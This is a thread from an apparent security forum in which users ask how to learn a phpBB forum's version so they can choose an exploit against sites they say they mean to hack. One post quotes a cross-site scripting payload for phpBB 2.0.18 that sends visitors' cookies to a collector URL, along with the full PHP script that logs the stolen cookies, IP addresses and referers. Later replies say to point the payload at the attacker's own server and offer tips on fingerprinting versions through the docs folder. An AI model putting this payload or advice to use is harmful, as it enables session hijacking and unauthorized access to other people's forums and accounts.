|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
How to find out PHPBB version. |
|
Posted: Fri Apr 07, 2006 12:31 pm |
|
|
Bill324 |
Regular user |
|
|
Joined: Apr 07, 2006 |
Posts: 11 |
|
|
|
|
|
|
|
Ok, So I have the site I have the exploits but I dont know which to use.
How do I find out which version they have. |
|
|
|
|
Posted: Fri Apr 07, 2006 12:33 pm |
|
|
sljyro |
Advanced user |
|
|
Joined: Mar 23, 2006 |
Posts: 53 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Fri Apr 07, 2006 1:11 pm |
|
|
Bill324 |
Regular user |
|
|
Joined: Apr 07, 2006 |
Posts: 11 |
|
|
|
|
|
|
|
Cheers man, works like a teapot. |
|
|
|
|
Posted: Fri Apr 07, 2006 1:16 pm |
|
|
Bill324 |
Regular user |
|
|
Joined: Apr 07, 2006 |
Posts: 11 |
|
|
|
|
|
|
|
Ok, Now this forum has a 2.0.18.
Therefore, I use this:
Quote: | <pre a=">" onmouseover='document.location="http://localhost/cookies.php?c="+document.cookie' b="<pre" >
cookies.php
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt', 'a'); //chmod 777 log.txt
fwrite($fp,
'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?> |
Could someone just tell me what bits I change.
Thanks. |
|
|
|
|
Posted: Fri Apr 07, 2006 2:27 pm |
|
|
Aryan-Husky |
Active user |
|
|
Joined: Apr 03, 2006 |
Posts: 37 |
|
|
|
|
|
|
|
Check previous post, the only think to change is the location of your server, I also think your target phpBB needs to have html set to on. |
|
|
|
|
Posted: Fri Apr 07, 2006 4:21 pm |
|
|
Bill324 |
Regular user |
|
|
Joined: Apr 07, 2006 |
Posts: 11 |
|
|
|
|
|
|
|
Do I change the server to MY website or the 'enemys' website host.
If its the person im trying to hack, how do I get their server details? |
|
|
|
|
Posted: Wed May 10, 2006 10:10 pm |
|
|
BlaQ_PhoeniX |
Regular user |
|
|
Joined: May 11, 2006 |
Posts: 5 |
|
|
|
|
|
|
|
sljyro wrote: | http://www.site.com/forum/docs/CHANGELOG.html
where 'site.com/forum' is the actual forum URL |
This doesn't seem to work on the forum i'm trying to gain access to. Any1 have any other ideas besides this one, /docs/INSTALL.html? |
|
|
|
|
Posted: Thu May 11, 2006 6:18 pm |
|
|
sljyro |
Advanced user |
|
|
Joined: Mar 23, 2006 |
Posts: 53 |
|
|
|
|
|
|
|
well theres a flaw with that, the use might have updated the forum, but not the docs, which happens in many cases. so that way is never 100%.
if it doesnt work (and you are sure its a phpBB and putting the correct url), there's a possibility the user has moved/deleted the docs folder from the server. |
|
|
|
|
Posted: Thu May 11, 2006 7:07 pm |
|
|
BlaQ_PhoeniX |
Regular user |
|
|
Joined: May 11, 2006 |
Posts: 5 |
|
|
|
|
|
|
|
Yeah, i'm sure i typed it correctly and it is a phpBB forum. I tried it on another site and it worked.
The site was revamped to a phpBB forum Jan this year so culd that determine what version they're running? |
|
|
|
|
Posted: Thu May 11, 2006 10:20 pm |
|
|
sljyro |
Advanced user |
|
|
Joined: Mar 23, 2006 |
Posts: 53 |
|
|
|
|
|
|
|
if its jan, could be a 2.0.18 or .19 |
|
|
|
|
Posted: Fri May 12, 2006 4:54 pm |
|
|
BlaQ_PhoeniX |
Regular user |
|
|
Joined: May 11, 2006 |
Posts: 5 |
|
|
|
|
|
|
|
Ah, thanx for da help dude. |
|
|
|
|
Posted: Mon Jul 03, 2006 7:58 pm |
|
|
superninja |
Active user |
|
|
Joined: Jul 03, 2006 |
Posts: 38 |
|
|
|
|
|
|
|
Where it says what version is? |
|
|
|
|
Posted: Mon Jul 03, 2006 9:51 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
superninja wrote: | Where it says what version is? |
Take a good look at changelog and you will see, what is the latest version, described |
|
|
|
|
Posted: Wed Jul 26, 2006 12:38 am |
|
|
VanVip |
Beginner |
|
|
Joined: Nov 21, 2005 |
Posts: 4 |
|
|
|
|
|
|
|
hey... my question is: how can i get the version if the URL is not like site.com/forum... it's 'site'.forump.com... i did: 'site'.forump.com/doc/CHANGELOG.html but it doesn't works... how can i get the version in forums like this ? |
|
|
|
|
Posted: Thu Jul 27, 2006 12:40 pm |
|
|
sljyro |
Advanced user |
|
|
Joined: Mar 23, 2006 |
Posts: 53 |
|
|
|
|
|
|
|
VanVip wrote: | hey... my question is: how can i get the version if the URL is not like site.com/forum... it's 'site'.forump.com... i did: 'site'.forump.com/doc/CHANGELOG.html but it doesn't works... how can i get the version in forums like this ? |
try docs
and not doc |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|